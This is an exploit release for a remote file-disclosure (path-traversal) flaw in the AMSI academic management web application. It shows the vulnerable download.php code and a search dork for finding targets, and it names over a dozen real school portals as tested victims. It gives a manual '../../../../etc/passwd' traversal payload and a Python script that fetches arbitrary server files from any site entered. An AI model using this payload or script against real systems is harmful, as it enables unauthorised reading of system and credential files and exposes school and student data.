AMSI 3.20.47 Build 37 File Disclosure

                .__        _____        _______                
                |  |__    /  |  |___  __\   _  \_______   ____ 
                |  |  \  /   |  |\  \/  /  /_\  \_  __ \_/ __ \
                |   Y  \/    ^   />    <\  \_/   \  | \/\  ___/
                |___|  /\____   |/__/\_ \\_____  /__|    \___  >
                     \/      |__|      \/      \/            \/
                         _____________________________ 
                        /   _____/\_   _____/\_   ___ \
                        \_____  \  |    __)_ /    \  \/  
                        /        \ |        \\     \____
                       /_______  //_______  / \______  /
                               \/         \/         \/           
AMSI v3.20.47 build 37 <= Remote File Disclosure Exploit (.py)
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] Exploit Developed by : B3mB4m
[~] HomePage :  http://h4x0resec.blogspot.com
[~] Guzel Insanlar :  ZoRLu, ( milw00rm.com ), 
                      Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, 
                      DaiMon, PRoMaX, alpican, EthicalHacker, BurakGrs
###########################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : AMSI ( Academia management solutions international )
|~Affected Version : v3.20.47 build 37
|~Software  : http://amsi.ae - http://iconnect.ae
|~RISK : Medium
|~Google Keyword/Dork :  inurl:"?load=news/search_news"
|~Tested On : [L] Kali Linux \ [R] example sites
####################INFO################################
makes it possible to read all the files from the local base.
 #######################################################
 
### Error Line in 'download.php' ## 
 
..
    $path   =   str_replace('/download.php?file=','',$_SERVER['REQUEST_URI']);   
    // $path = $_GET['file']; 
    header("Content-Description: File Transfer");
    header("Content-Type: application/force-download");
    //header("Content-Disposition: attachment; filename=" . basename($path . $uri[1]));
    header("Content-Disposition: attachment; filename=\"" . basename($path . $uri[1]) . "\"" );

    @readfile($path);
..
########################################################
Example and tested on;
 
http://portal.iconnect.ae/
http://demo.iconnect.ae/
http://barsha.almawakeb.sch.ae/
http://portal.naischool.ae/
http://portal.ias-dubai.ae/
http://portal.madarschool.ae/
http://portal.isas.sch.ae/
http://portal.alsanawbarschool.com/
http://fia.fischools.com/
http://portal.ajyal.sch.ae/
http://portal.arabunityschool.com/
http://alnashaa.sch.ae/
http://portal.aaess.com/
 
############################################################
Manual Exploitation; http://$VICTIM/download.php?file=../../../../etc/passwd
############################################################
=========Automatic File Source Downloader Exploit ========
##################### exploit.py ##############################

# Coded by b3mb4m 
 
import random
import os
import urllib

class B3mB4m(object):
	def example(self):
		print """

		How to use ? 
			Website:  http://VICTIM.com
			Path : /download.php?file=../../../../etc/passwd
		"""	
		
	def exploit(self):
		ask = raw_input("Website :")
		uz = raw_input("Path : ")

		#ask = "http://alnashaa.sch.ae"
		#uz = "/download.php?file=../../../../etc/passwd"

		uniq = str(random.randrange(1,1000+1))+".txt"
		filee = ask+uz

		try:
			urllib.urlretrieve(filee, uniq); 
			print "\t\nDownload complate ! "
			os.startfile(uniq)
		except:
			B3mB4m().example()	


if __name__ == '__main__':
	B3mB4m().exploit()